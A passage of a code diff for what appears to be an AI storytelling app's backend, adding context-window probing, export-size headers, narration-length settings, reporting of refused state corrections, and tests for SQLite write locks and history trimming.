@@ -192,6 +203,7 @@ class OpenAICompatibleProvider(Provider):
                 "temperature": temperature,
                 "max_tokens": max_tokens,
                 "stream": True,
+                "stream_options": dict(STREAM_OPTIONS),
             }
         async for event in self._stream(url, body):
             yield event

backend/app/routers/adventures/bundle_io.py

@@ -28,7 +28,9 @@ repair. Refusing a whole campaign because a search index would not build would
 trade the valuable thing for the cheap one.
 """
 
-from fastapi import Body, Depends, Request
+import json
+
+from fastapi import Body, Depends, Request, Response
 from sqlalchemy.orm import Session
 
 from ... import bundle, head, limits, models, schemas
@@ -46,8 +48,38 @@ def export_adventure(
 
     `app/bundle.py` owns the format, in all three of its versions. A backup
     outlives the schema, so no call site decides anything about its shape.
+
+    **v1.1 WP-D: the export also says whether this version could import it back.**
+    A campaign large enough to pass `limits.MAX_IMPORT_BODY_BYTES` still exports —
+    the file is complete and not damaged, and refusing to write it would destroy
+    the only copy the reader was trying to make. What it cannot do is come back
+    in here, and the reader is told that at the moment they take it rather than
+    at the moment they need it.
+
+    It travels in headers, not in the body. The body is the bundle, the browser
+    saves exactly those bytes as the file, and a warning inside it would become
+    part of a portable story file and of every checksum taken over one.
+
+    The size measured is the compact serialisation, because that is both what
+    this response sends and what the browser POSTs back on import, which is what
+    `BodySizeLimitMiddleware` weighs. The pretty-printed file the reader
+    downloads is larger, and is not what import reads.
     """
-    return bundle.export(db, adv)
+    payload = bundle.export(db, adv)
+    # Serialised exactly as Starlette's JSONResponse would, so the bytes counted
+    # are the bytes sent.
+    body = json.dumps(payload, ensure_ascii=False, allow_nan=False,
+                      separators=(",", ":")).encode("utf-8")
+    limit = limits.MAX_IMPORT_BODY_BYTES
+    importable = len(body) <= limit
+    headers = {
+        "X-Export-Bytes": str(len(body)),
+        "X-Import-Limit-Bytes": str(limit),
+        "X-Importable-By-This-Version": "true" if importable else "false",
+    }
+    if not importable:
+        headers["X-Export-Warning"] = limits.oversized_export_warning(len(body), limit)
+    return Response(content=body, media_type="application/json", headers=headers)
 
 
 @router.post("/import", response_model=schemas.ImportedAdventureOut, status_code=201)

backend/app/routers/adventures/crud.py

@@ -189,6 +189,9 @@ def create_adventure(
         persona_name=payload.persona_name.strip(),
         persona_pronouns=payload.persona_pronouns.strip(),
         persona_desc=payload.persona_desc.strip(),
+        # M11: the reader's narration-length choice, kept as data so the prompt
+        # builder can turn it into a word range (post-M8 finding C).
+        narration_length=payload.narration_length,
     )
     db.add(adventure)
     db.flush()

backend/app/routers/adventures/insights.py

@@ -8,6 +8,7 @@ from fastapi import Depends, HTTPException
 from sqlalchemy.orm import Session
 
 from ... import derived, memorybank, models, summaries
+from ... import contextwindow
 from ...context import ContextOverflow, build_context
 from ...database import get_db
 from ...knowledge import retrieval as knowledge_retrieval
@@ -24,14 +25,19 @@ async def dry_run_context(
 ):
     """Returns what the app would send to the AI if the player continued now."""
     settings = get_settings(db, user)
-    memories = await memorybank.retrieve_memories(adventure, settings, update_stats=False)
+    memories = await memorybank.retrieve_memories(adventure, settings)
     # M7: retrieved here too, and by the same call the turn makes. A dry run
     # that skipped the library would show a prompt the next turn will not send,
     # which is the one thing this panel must never do.
     knowledge = await knowledge_retrieval.retrieve(adventure, settings)
+    # M11: and by the same probe the turn makes, for the same reason — a panel
+    # that showed a 16,384-token budget while the next turn will be capped to
+    # 4,096 would be showing a prompt that is not the one about to be sent.
+    window = await contextwindow.probe(settings.endpoint_url, settings.model,
+                                          declared=settings.context_window_override)
     try:
         _, _, report = build_context(
-            adventure, settings, memories, knowledge=knowledge
+            adventure, settings, memories, knowledge=knowledge, window=window
         )
     except ContextOverflow as exc:
         # M6: a dry run of a prompt that cannot be built is still an answer, and

backend/app/routers/adventures/state.py

@@ -48,6 +48,7 @@ def read_state(
         # The raw document, for the correction form to name a key with and for a
         # test to assert on without parsing prose.
         document=state,
+        duplicate_names=narrative.model.duplicate_names(state),
     )
 
 
@@ -95,6 +96,16 @@ def correct_state(
         )
         if not review.accepted:
             raise HTTPException(400, _refusal_message(review))
+        # M11: a correction can be partly refused — one bad reference among four
+        # good changes — and until M11 that came back as an unqualified success.
+        # Partial application is the deliberate behaviour (`validate.py`: losing
+        # three good changes to one typo is worse), so what M11 adds is the
+        # telling, not a change of behaviour.
+        refused = [
+            {"event": rejection.event, "reason": rejection.reason,
+             "detail": rejection.detail}
+            for rejection in review.rejected
+        ]
 
         node = head.node_at(db, adventure, adventure.head_depth)
         new_state, _proposal = narrative.store.record(
@@ -120,11 +131,14 @@ def correct_state(
     finally:
         turns._active_turns.discard(adventure_id)
 
-    view = narrative.render.for_inspector(narrative.store.current(adventure))
+    state_now = narrative.store.current(adventure)
+    view = narrative.render.for_inspector(state_now)
     return schemas.NarrativeStateOut(
         groups=[schemas.StateGroup(**group) for group in view["groups"]],
         empty=view["empty"],
-        document=narrative.store.current(adventure),
+        document=state_now,
+        duplicate_names=narrative.model.duplicate_names(state_now),
+        refused=refused,
     )
 
 

backend/app/routers/adventures/turns.py

@@ -6,6 +6,7 @@ lock guards one set only while one module owns it. And a test that replaces
 `OpenAICompatibleProvider` or `generate_turn` patches this module, which every
 caller reads through.
 """
+import logging
 import threading
 
 from fastapi import Depends, HTTPException, Request
@@ -16,6 +17,7 @@ from ... import (
     attempts, head, limits, memorybank, models, narrative, schemas, tree,
     worldstate,
 )
+from ... import contextwindow
 from ...context import ContextOverflow, build_context, cursors
 from ...knowledge import retrieval as knowledge_retrieval
 from ...database import get_db
@@ -27,6 +29,8 @@ from .deps import CurrentUser, current_adventure, router
 from .nodes import _move_to_after, next_depth
 from .paging import annotate_takes
 
+log = logging.getLogger(__name__)
+
 
 def world_delta_of(snapshot: dict | None) -> dict | None:
     """Returns the bulk-read slice of a context snapshot, for `Action.world_delta`.
@@ -192,8 +196,12 @@ async def _generate_turn(
     # context. Otherwise the model reads the attempt it is replacing as
     # established story and writes a sequel to it.
     replacing_id = retry_of.id if retry_of is not None else None
+    # Retrieval only reads. The use counters are written by `record_use` in
+    # the turn's single commit below. Writing them here would hold SQLite's
+    # write lock for the whole model call, and would lock out every post-turn
+    # write that ran during the reply.
     memories = await memorybank.retrieve_memories(
-        adventure, settings, update_stats=True, exclude_action_id=replacing_id
+        adventure, settings, exclude_action_id=replacing_id
     )
     # M7: the imported library, retrieved for the position being read. Excluding
     # the attempt being replaced matters here for the same reason it does for
@@ -202,6 +210,23 @@ async def _generate_turn(
     knowledge = await knowledge_retrieval.retrieve(
         adventure, settings, exclude_action_id=replacing_id
     )
+    # M11: what this server will actually accept. Asked here rather than inside
+    # the builder for the same reason retrieval is — the builder makes no
+    # network calls — and cached per endpoint and model, so it costs one short
+    # request per session rather than one per turn. An unverified window does
+    # not block the turn; it is recorded as unverified in the snapshot below.
+    #
+    # v1.1 WP-A1 corrective: a model that is not resident cannot report its window,
+    # and a turn built to the configured budget against it was silently cut in the
+    # A1 evidence (13,875 tokens sent, 2,050 read). So an unverified window gets
+    # one bounded attempt to load the model, and one more probe, before the
+    # prompt is assembled. No story text is generated by it and nothing is
+    # written. A window still unverified afterwards changes nothing below.
+    window, preflight = await contextwindow.ensure_window(
+        settings.endpoint_url, settings.model,
+        declared=settings.context_window_override,
+        warm_timeout=float(settings.model_timeout_seconds or 300),
+    )
     try:
         system_text, story_text, snapshot = build_context(
             adventure,
@@ -209,6 +234,7 @@ async def _generate_turn(
             memories,
             exclude_action_id=replacing_id,
             knowledge=knowledge,
+            window=window,
         )
     except ContextOverflow as exc:
         # M6: the protected context does not fit in the configured budget, so
@@ -219,6 +245,9 @@ async def _generate_turn(
         yield turn_error(str(exc))
         return
 
+    if isinstance(snapshot.get("window"), dict):
+        snapshot["window"]["preflight"] = preflight
+
     parts = PromptParts(system=system_text, story=story_text)
 
     provider = OpenAICompatibleProvider(
@@ -305,6 +334,24 @@ async def _generate_turn(
     # prompt came from cache rather than being billed in full. This is recorded
     # per attempt, next to the prompt it priced.
     snapshot["usage"] = provider.last_usage
+    # v1.1 WP-A1: what the server says it read, against what was sent. Recorded
+    # and shown, never acted on: the narration has already streamed to the
+    # reader, and discarding an accepted turn over an accounting discrepancy
+    # would lose story to hide a problem. A server that cut the prompt answers
+    # 200 either way, so this record is the only place the cut is visible.
+    tokens = snapshot.get("tokens") or {}
+    accounting = contextwindow.classify_usage(
+        provider.last_usage,
+        estimate=tokens.get("estimate") or tokens.get("total") or 0,
+        budget=tokens.get("budget") or settings.context_token_budget,
+        max_output_tokens=settings.max_output_tokens,
+        window_verified=bool((snapshot.get("window") or {}).get("verified")),
+    )
+    snapshot["accounting"] = accounting
+    if accounting["status"] in (contextwindow.EXCEEDED,
+                                contextwindow.TRUNCATION_SUSPECTED):
+        log.warning("turn accounting for adventure %s: %s — %s",
+                    adventure.id, accounting["status"], accounting["detail"])
 
     reasoning = "".join(reasoning_chunks).strip() or None
     ai_action = models.Action(
@@ -363,11 +410,13 @@ async def _generate_turn(
         "summary": narrative.apply.diff(before_state, new_state),
     }
     attempts.snapshot_outcome(adventure, ai_action)
+    memorybank.record_use(db, memories)
     adventure.updated_at = models.utcnow()
     db.commit()
     db.refresh(ai_action)
     yield _SAVED
-    yield sse({"type": "done", "action": action_json(ai_action, db)})
+    yield sse({"type": "done", "action": action_json(ai_action, db),
+               "accounting": accounting})
     # Phase 6: schedule summarization and embedding without waiting for them.
     # The task opens its own database session.
     memorybank.schedule_post_turn(adventure)

backend/app/routers/settings.py

@@ -15,7 +15,7 @@ from fastapi import APIRouter, Depends, HTTPException
 from sqlalchemy.orm import Session
 from starlette.concurrency import run_in_threadpool
 
-from .. import auth, endpoints, models, schemas, tlstrust
+from .. import auth, contextwindow, endpoints, models, schemas, tlstrust
 from ..database import get_db
 from ..providers.openai_compatible import CONNECT_TIMEOUT
 
@@ -65,6 +65,15 @@ async def update_settings(
         if reason is not None:
             raise HTTPException(400, f"That endpoint can't be used — {reason}.")
 
+    if any(
+        field in fields and fields[field] != getattr(settings, field)
+        for field in ("endpoint_url", "model")
+    ):
+        # M11: a different server or a different model is a different window.
+        # What was verified about the old pair says nothing about the new one,
+        # and a stale ceiling is the one thing this must never apply.
+        contextwindow.cache_clear()
+
     embedding_model_changed = (
         "embedding_model" in fields
         and fields["embedding_model"] != settings.embedding_model
@@ -165,6 +174,57 @@ async def list_endpoint_models(endpoint_url: str) -> dict:
     return {"ok": True, "models": models_available}
 
 
+def _window_warning(window: contextwindow.Window, settings: models.Settings) -> str | None:
+    """What to tell the reader about the window, or None when nothing is wrong.
+
+    Four cases, and they need four different things done about them, so they
+    say four different things (the same reasoning as the connection test's own
+    four failure kinds).
+    """
+    budget = settings.context_token_budget
+    if window.source == contextwindow.DECLARED:
+        # Enforced, but on the operator's word rather than the server's. Worth
+        # saying plainly: nothing here has checked the number, so a declaration
+        # that is too large is the silent-truncation failure all over again.
+        over = (
+            " It is larger than the story budget, so it changes nothing today."
+            if window.tokens >= budget else
+            f" Prompts are being built to {window.tokens:,} rather than "
+            f"{budget:,}."
+        )
+        return (
+            f"The context window for '{settings.model}' is set in settings to "
+            f"{window.tokens:,} tokens, because this server cannot be asked for it "
+            f"— {window.detail}.{over} Nothing has verified that number against "
+            "the server; if it is larger than the window the server really "
+            "enforces, the oldest part of the prompt is still being dropped."
+        )
+    if not window.verified:
+        return (
+            f"The context window this server will give '{settings.model}' could not "
+            f"be checked — {window.detail}. The story budget is {budget:,} tokens; "
+            "if the server's window is smaller than that it silently drops the "
+            "oldest part of the prompt, which here is the narrator's rules and the "
+            "campaign canon. If this server has no Ollama-native API to ask — "
+            "vLLM, llama.cpp's own server — set the context window in settings so "
+            "the prompt is capped to it. See DEVELOPMENT.md, 'The context window "
+            "your Ollama actually enforces'."
+        )
+    if window.tokens < budget:
+        ceiling = (
+            f" The model itself can go up to {window.model_max:,}."
+            if window.model_max and window.model_max > window.tokens else ""
+        )
+        return (
+            f"This server gives '{settings.model}' {window.tokens:,} tokens, which is "
+            f"less than the {budget:,}-token story budget. Prompts are being built to "
+            f"{window.tokens:,} so nothing is silently truncated — the campaign simply "
+            f"gets less history than the setting asks for.{ceiling} To use the whole "
+            "budget, load the model with a larger window (DEVELOPMENT.md)."
+        )
+    return None
+
+
 @router.post("/test")
 async def test_connection(
     db: Session = Depends(get_db),
@@ -173,6 +233,29 @@ async def test_connection(
     """Checks the endpoint the turn engine would use, and lists its models."""
     settings = get_settings(db, user)
     result = await list_endpoint_models(settings.endpoint_url)
+    if result.get("ok") and settings.model:
+        # M11: while we have the server's attention, ask what window it will
+        # give this model. This is where a reader can act on the answer — the
+        # model picker is on the same screen as the budget — and it is the
+        # difference between "your prompts are being truncated" being visible
+        # here and being invisible until the narrator forgets the canon.
+        # Cached, deliberately. The model-status badge calls this endpoint on
+        # every page load, so an uncached probe would be two extra requests to
+        # the inference host per page view for an answer that changes only when
+        # an operator reloads a model. Changing the endpoint or the model clears
+        # the cache (`update_settings`), which covers the case a reader can
+        # actually cause; the detail line always says where the number came from.
+        window = await contextwindow.probe(settings.endpoint_url, settings.model,
+                                          declared=settings.context_window_override)
+        result = result | {"window": {
+            "verified": window.verified,
+            "tokens": window.tokens,
+            "source": window.source,
+            "model_max": window.model_max,
+            "detail": window.detail,
+            "budget": settings.context_token_budget,
+            "warning": _window_warning(window, settings),
+        }}
     if result.get("ok") and settings.model and settings.model not in result["models"]:
         # Reachable, but pointed at a model that is not installed there — the
         # commonest way for a correct endpoint to still fail every turn.

backend/app/schemas.py

@@ -170,6 +170,10 @@ class AdventureCreate(BaseModel):
     persona_name: PersonaName = ""
     persona_pronouns: PersonaPronouns = ""
     persona_desc: Prose = ""
+    # M11: how long the reader wants turns to be. The setup screen also puts a
+    # sentence about it into `ai_instructions`; this is the half the prompt
+    # builder can do arithmetic with.
+    narration_length: Literal["", "brief", "medium", "long"] = ""
 
 
 class AdventureUpdate(BaseModel):
@@ -177,6 +181,7 @@ class AdventureUpdate(BaseModel):
     memory: Prose | None = None
     authors_note: Prose | None = None
     ai_instructions: Prose | None = None
+    narration_length: Literal["", "brief", "medium", "long"] | None = None
     story_summary: Prose | None = None
     auto_summarize: bool | None = None
     memory_bank_enabled: bool | None = None
@@ -328,6 +333,21 @@ class NarrativeStateOut(BaseModel):
     groups: list[StateGroup] = []
     empty: bool = True
     document: dict = {}
+    #: M11 (post-M8 finding D): entities that share a display name, keyed by the
+    #: name. Reported rather than refused — two people called Alice is ordinary
+    #: fiction — but reported, because until M11 it happened silently and one of
+    #: the finding's candidate failure modes is exactly this.
+    duplicate_names: dict[str, list[str]] = {}
+    #: M11: the changes in *this* correction that were refused, and why.
+    #:
+    #: `narrative/validate.py` states the rule — "what is never allowed is a
+    #: rejected event mutating anything, or a rejection being silent" — and until
+    #: M11 the human-facing half of it was missing. A correction where one event
+    #: of four was refused returned 201 with the other three applied and said
+    #: nothing, so the reader believed they had made a change they had not. The
+    #: refusals were recorded on the proposal for the audit trail; they were
+    #: simply never shown to the person who wrote them.
+    refused: list[dict] = []
 
 
 class StateEventIn(BaseModel):
@@ -472,6 +492,7 @@ class AdventureOut(ORMModel):
     memory: str
     authors_note: str
     ai_instructions: str
+    narration_length: str
     story_summary: str
     auto_summarize: bool
     memory_bank_enabled: bool
@@ -666,6 +687,7 @@ class SettingsOut(ORMModel):
     max_output_tokens: int
     context_token_budget: int
     model_timeout_seconds: int
+    context_window_override: int | None
     narrator_prompt: str
     summary_model: str
     embedding_model: str
@@ -709,6 +731,11 @@ class SettingsUpdate(BaseModel):
     # turn cannot trip it; the ceiling exists so that "wait longer" stays a
     # number rather than becoming "wait forever".
     model_timeout_seconds: Annotated[int, Field(ge=30, le=3600)] | None = None
+    # The window an inference server enforces, for servers that cannot be asked.
+    # Bounded like the budget it caps. It is never a way to *raise* the prompt
+    # past a window the server did report — `contextwindow._declared_or` — so
+    # the ceiling here only bounds what an operator can usefully claim.
+    context_window_override: Annotated[int, Field(ge=256, le=200_000)] | None = None
     narrator_prompt: Prose | None = None
     summary_model: Name | None = None
     embedding_model: Name | None = None

backend/tests/schema_rewind.py

@@ -31,6 +31,8 @@ from sqlalchemy.engine import Engine
 # this case. It skips DDL that already ran, so the tree migrations run their
 # backfill against a schema that already has the columns.
 _UNDO: list[tuple[int, tuple[str, ...]]] = [
+    # M11: the campaign's narration-length choice.
+    (93, ("ALTER TABLE adventures DROP COLUMN narration_length",)),
     # Packed float32 vectors and the flag beside them.
     (39, ("ALTER TABLE memories DROP COLUMN embedded",)),
     (38, ("ALTER TABLE memories DROP COLUMN embedding_blob",)),

backend/tests/test_context_memory.py

@@ -18,6 +18,7 @@ Two things are asserted throughout rather than assumed:
 """
 
 import asyncio
+import sqlite3
 
 import pytest
 from fastapi import Depends
@@ -26,12 +27,14 @@ from sqlalchemy import select
 
 from app import auth, derived, limits, memorybank, models, summaries
 from app.context import builder, lineage
-from app.database import Base, SessionLocal, engine, get_db
+from app.database import DB_PATH, Base, SessionLocal, engine, get_db
+from app.knowledge import classes
 from app.main import app
 from app.providers import ProviderError
 from app.routers import adventures
 
 from fakes import ScriptedProvider, state_block
+from tools import m11_long_run
 
 
 class StubEmbedder:
@@ -835,3 +838,120 @@ def test_e03_a_summary_generated_after_divergence_carries_no_abandoned_content(c
         assert old[0]["eligible"] is False
     finally:
         mb.summary_provider, mb.embedding_provider = real_summary, real_embed
+
+
+# ------------------------------------------- M11: post-turn work and the write lock
+#
+# Found by the first 26-turn M01 trial on a GPU host. Every turn was accepted,
+# and the run reported "complete" with two memories, no summary and 180
+# `database is locked` errors. A turn that used a memory wrote its use counter
+# before the model call and committed only after the reply. That held SQLite's
+# single write lock for the whole reply. Post-turn memory and summary writes
+# timed out behind it, and the record of each failure timed out the same way.
+
+
+class LockProbe(ScriptedProvider):
+    """A narrator that checks, mid-reply, whether any other writer could get in."""
+
+    seen: list = []
+
+    async def generate(self, parts, *, temperature, max_tokens):
+        # Its own connection, as a post-turn task's session would have. The
+        # short timeout turns "would wait five seconds and fail" into an
+        # immediate answer.
+        probe = sqlite3.connect(DB_PATH, timeout=0.1)
+        try:
+            probe.execute("BEGIN IMMEDIATE")
+            probe.rollback()
+            LockProbe.seen.append("free")
+        except sqlite3.OperationalError as exc:
+            LockProbe.seen.append(str(exc))
+        finally:
+            probe.close()
+        async for item in super().generate(parts, temperature=temperature,
+                                           max_tokens=max_tokens):
+            yield item
+
+
+def test_no_write_lock_is_held_while_the_narrator_is_talking(client, monkeypatch):
+    play(client, "begin", prose="Aldric sets the key down.")
+    memory_id = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
+    LockProbe.seen = []
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", LockProbe)
+
+    play(client, "I lift the flagstone and look for the ledger.")
+
+    with SessionLocal() as db:
+        # The premise. A turn that retrieved no memory never took the lock, so
+        # the probe below would pass for the wrong reason.
+        assert db.get(models.Memory, memory_id).use_count == 1, (
+            "the turn did not use the planted memory, so this proves nothing")
+    assert LockProbe.seen == ["free"], (
+        "a write transaction was open during the model call, so every "
+        f"post-turn write in that window is locked out: {LockProbe.seen}")
+
+
+def test_a_failed_turn_counts_no_memory_as_used(client, monkeypatch):
+    """The counter is written with the turn now, so a turn that never landed
+    used nothing."""
+    play(client, "begin", prose="Aldric sets the key down.")
+    memory_id = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
+    ScriptedProvider.replies = [ProviderError("the narrator is gone")]
+    r = client.post(f"/api/adventures/{client.adv_id}/actions",
+                    json={"type": "do", "text": "I look for the ledger."})
+    assert '"error"' in r.text
+
+    with SessionLocal() as db:
+        assert db.get(models.Memory, memory_id).use_count == 0
+
+
+def test_a_failure_that_breaks_the_session_is_still_recorded(client, monkeypatch):
+    """Recording a failure needs a working session. Without a rollback first,
+    the recorder raised `PendingRollbackError`, the failure went only to the
+    log, and derived status kept reporting a healthy bank."""
+    play(client, "begin", prose="Aldric sets the key down.")
+    existing = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
+
+    def collide(adventure, settings, db):
+        # A primary key that already exists: the flush fails and leaves the
+        # session needing a rollback, which is the state a lock timeout on
+        # commit leaves it in.
+        db.add(models.Memory(id=existing, adventure_id=client.adv_id,
+                             text="a second row with the same key"))
+        db.flush()
+
+    monkeypatch.setattr(memorybank, "_evict_over_capacity", collide)
+    asyncio.run(memorybank.run_post_turn(client.adv_id))
+
+    with SessionLocal() as db:
+        rows = {row["kind"]: row for row in derived.report(db, client.adv_id)}
+    assert rows[derived.MEMORY]["status"] == "failed", rows.get(derived.MEMORY)
+    assert "PendingRollbackError" not in rows[derived.MEMORY]["detail"]
+
+
+def test_the_long_run_harness_reads_sections_by_their_real_names(client):
+    """`tools/m11_long_run.py` finds prompt sections by label, and a wrong label
+    is silent: it measured 0 memory tokens and could never find the clue in
+    history or in memories. These are the names the real builder uses."""
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        adventure.authors_note = "Keep the rain in every scene."
+        db.commit()
+    play(client, "begin", prose="Aldric sets the key down.",
+         events=[{"type": "create_entity", "entity": "aldric",
+                  "entity_type": "character", "name": "Aldric"}])
+    for step in range(6):
+        play(client, f"walk on {step}")
+    plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        summaries.record(db, adventure, "The party reached the Crooked Lantern.")
+        db.commit()
+    play(client, "I look for the ledger.")
+
+    labels = {s["label"] for s in context_report(client)["sections"]}
+    for label in (m11_long_run.MEMORIES_LABEL, m11_long_run.SUMMARY_LABEL,
+                  m11_long_run.STATE_LABEL, *m11_long_run.HISTORY_LABELS):
+        assert label in labels, f"the harness reads {label!r}; the prompt has {sorted(labels)}"
+    assert set(m11_long_run.IMPORTED_KNOWLEDGE_LABELS) == {
+        classes.SECTION_ALWAYS_CANON, *classes.CLASS_SECTIONS.values()}

backend/tests/test_embedding_model_switch.py

@@ -138,7 +138,7 @@ def test_retrieval_uses_no_stale_vector_after_the_switch(client, monkeypatch):
         adventure = db.get(models.Adventure, client.adv_id)
         settings = db.query(models.Settings).first()
         result = asyncio.run(
-            memorybank.retrieve_memories(adventure, settings, update_stats=False)
+            memorybank.retrieve_memories(adventure, settings)
         )
         assert result["used"] == []
     finally:

backend/tests/test_history_block_trim.py

@@ -0,0 +1,315 @@
+"""The history window moves in blocks, so the prompt's prefix holds still.
+
+Inference servers cache a prompt by its **prefix**. While a story only grows at
+the end, every turn re-uses that cache and pays for its own new tokens alone. The
+builder's old window took whatever fit, which meant that once the budget was full
+it dropped the *oldest* action every turn — a change near the front of the prompt
+— and everything after it had to be processed again.
+
+Measured on the reference deployment, at 7.7k prompt tokens against a 3B model:
+
+    window slid by one turn   343-350 s
+    prefix preserved            6.0 s
+
+These tests do not measure time. They pin the property the measurement is
+downstream of: **the oldest included action is the same across consecutive
+turns**, except on the turns where the window deliberately steps.
+"""
+import pytest
+import pytest as _pytest
+
+from app.context import builder
+
+
+def costs_of(n, each=100):
+    return [each] * n
+
+
+def depths(n, start=1):
+    return list(range(start, start + n))
+
+
+# ------------------------------------------------------------- the block size
+
+def test_the_block_is_a_share_of_what_fits():
+    """Derived from `TRIM_FRACTION` rather than asserting the number it is
+    currently set to, so retuning the dial does not fail a test that was never
+    about the dial's value."""
+    # 16 actions of 500 fit in 8,000, and the block is that share of them.
+    assert builder.trim_block(8000, 500) == 16 // builder.TRIM_FRACTION
+
+
+def test_trim_fraction_is_the_dial_between_history_and_speed():
+    """`TRIM_FRACTION` is meant to be retuned, so this pins what retuning does.
+
+    Lower it and the window gives up more at once: bigger blocks, fewer re-reads,
+    less recent history retained. Raise it and the reverse. Nothing else in the
+    builder has to change for that to hold, which is the property worth having a
+    test for.
+    """
+    budget, per_action = 8000, 500
+    fits = budget // per_action
+
+    def block_at(fraction, monkeypatch):
+        monkeypatch.setattr(builder, "TRIM_FRACTION", fraction)
+        return builder.trim_block(budget, per_action)
+
+    with _pytest.MonkeyPatch.context() as mp:
+        greedier = block_at(2, mp)
+        assert greedier == fits // 2
+    with _pytest.MonkeyPatch.context() as mp:
+        gentler = block_at(8, mp)
+        assert gentler == max(builder.MIN_TRIM_BLOCK, fits // 8)
+    assert greedier > gentler, "a lower fraction must give up more at once"
+
+    # And the floor to the whole thing survives any setting.
+    with _pytest.MonkeyPatch.context() as mp:
+        mp.setattr(builder, "TRIM_FRACTION", 1000)
+        assert builder.trim_block(budget, per_action) >= builder.MIN_TRIM_BLOCK
+
+
+def test_the_block_never_slides_by_one():
+    """A block of one is the old behaviour wearing a hat."""
+    assert builder.trim_block(100, 500) >= builder.MIN_TRIM_BLOCK
+    assert builder.trim_block(0, 500) >= builder.MIN_TRIM_BLOCK
+
+
+def test_the_block_comes_from_settings_not_from_the_story():
+    """It has to be the same on two consecutive turns, so it cannot be measured
+    from actions whose sizes vary."""
+    assert builder.trim_block(8000, 500) == builder.trim_block(8000, 500)
+    # Bigger budget, bigger step; the ratio is what is fixed.
+    assert builder.trim_block(16000, 500) > builder.trim_block(8000, 500)
+
+
+# ------------------------------------------------------- nothing to trim yet
+
+def test_a_story_that_fits_whole_is_not_trimmed():
+    """Also the append-only regime: every turn is a prefix extension already."""
+    assert builder.history_floor(depths(5), costs_of(5), budget=10_000, block=4) is None
+
+
+def test_a_short_story_keeps_its_opening():
+    """Snapping here would drop the start of the story for no reason at all."""
+    assert builder.history_floor(depths(3), costs_of(3), budget=10_000, block=8) is None
+
+
+def test_an_action_larger_than_the_budget_is_left_to_the_caller():
+    assert builder.history_floor([1], [5000], budget=100, block=4) is None
+
+
+def test_rows_without_a_depth_are_not_trimmed():
+    """Legacy rows have no stable coordinate, so behave exactly as before."""
+    assert builder.history_floor([None, None], costs_of(2), 100, 4) is None
+    assert builder.history_floor([], [], 100, 4) is None
+
+
+# ------------------------------------------------------------ the whole point
+
+def test_the_floor_holds_still_while_the_story_grows():
+    """The property the 57x measurement rests on.
+
+    Ten consecutive turns against a full budget. The floor must take a small
+    number of steps, not ten.
+    """
+    block, budget, each = 4, 1000, 100          # 10 actions fit
+    seen = []
+    for extra in range(10):                     # the story grows by one action
+        n = 20 + extra
+        seen.append(builder.history_floor(depths(n), costs_of(n, each), budget, block))
+
+    steps = sum(1 for a, b in zip(seen, seen[1:]) if a != b)
+    assert steps <= 3, f"the floor moved {steps} times in 10 turns: {seen}"
+    assert len(set(seen)) > 1, "it never moved at all, so the budget is not binding"
+
+
+def test_every_floor_sits_on_a_block_boundary():
+    block, budget = 4, 1000
+    for n in range(20, 40):
+        floor = builder.history_floor(depths(n), costs_of(n), budget, block)
+        assert floor is not None
+        assert floor % block == 0, f"{floor} is not a multiple of {block}"
+
+
+def test_the_floor_only_ever_moves_forward():
+    block, budget = 4, 1000
+    floors = [builder.history_floor(depths(n), costs_of(n), budget, block)
+              for n in range(20, 45)]
+    assert floors == sorted(floors)
+
+
+# --------------------------------------------------- and still inside budget
+
+@pytest.mark.parametrize("n", range(20, 40))
+def test_the_kept_window_never_exceeds_the_budget(n):
+    """M03's bound is not weakened. Trimming only ever drops more, never less."""
+    block, budget, each = 4, 1000, 100
+    ds, cs = depths(n), costs_of(n, each)
+    floor = builder.history_floor(ds, cs, budget, block)
+    kept = sum(c for d, c in zip(ds, cs) if d >= floor)
+    assert kept <= budget
+
+
+@pytest.mark.parametrize("n", range(20, 40))
+def test_the_kept_window_is_not_gutted(n):
+    """The cost of holding still is bounded: a trim gives up `block` actions,
+    never most of the window."""
+    block, budget, each = 4, 1000, 100
+    ds, cs = depths(n), costs_of(n, each)
+    floor = builder.history_floor(ds, cs, budget, block)
+    kept = sum(c for d, c in zip(ds, cs) if d >= floor)
+    assert kept >= budget - block * each
+
+
+# ------------------------------------------- the real builder, end to end
+
+import pytest as _pytest  # noqa: E402  (grouped with the fixtures it serves)
+
+from app import models  # noqa: E402
+from app.context import builder as _builder  # noqa: E402
+from app.database import Base, SessionLocal, engine  # noqa: E402
+
+NARRATION = ("The rain came down over Westhaven in long grey sheets and the "
+             "gutters ran full from the ridge to the waterfront. ") * 6
+
+
+@_pytest.fixture()
+def saturated():
+    """A campaign whose history is longer than its budget, with real depths.
+
+    `depth` is what the floor is expressed in, and every action written through
+    the application has one (`tree.place_action`). The older fixtures in
+    `test_history_window.py` predate the tree and leave it null, which is why
+    trimming does not engage there and those tests still describe the old
+    behaviour exactly.
+    """
+    Base.metadata.create_all(bind=engine)
+    db = SessionLocal()
+    user = models.User(is_guest=False, email="blocktrim@example.com")
+    db.add(user)
+    db.flush()
+    settings = models.Settings(user_id=user.id, model="m", embedding_model="",
+                               context_token_budget=2048, max_output_tokens=200)
+    db.add(settings)
+    adventure = models.Adventure(user_id=user.id, title="Long", script_state={})
+    db.add(adventure)
+    db.flush()
+    for i in range(60):
+        db.add(models.Action(adventure_id=adventure.id,
+                             type="ai" if i % 2 else "do",
+                             text=f"[{i}] {NARRATION}", branch_id=None, depth=i))
+    db.commit()
+    db.expire_all()
+    adventure = db.get(models.Adventure, adventure.id)
+    settings = db.get(models.Settings, settings.id)
+    try:
+        yield db, adventure, settings
+    finally:
+        db.close()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _play_one_more(db, adventure, at_depth):
+    db.add(models.Action(adventure_id=adventure.id, type="do",
+                         text=f"[{at_depth}] {NARRATION}", depth=at_depth))
+    # `at_depth` may be None: the control below plays a turn into a story whose
+    # rows predate the tree, which is the ungoverned window this replaced.
+    db.commit()
+    db.expire_all()
+
+
+def _shared_prefix(before: str, after: str) -> float:
+    """How much of the old prompt the new one still opens with, 0.0 to 1.0.
+
+    This is the quantity the inference server's cache is keyed on, so it is the
+    quantity worth asserting. It is not 1.0 even in the best case: the prompt
+    ends with the turn's length-hint and state-block instructions, which sit
+    *after* the history, so appending a turn always rewrites that tail.
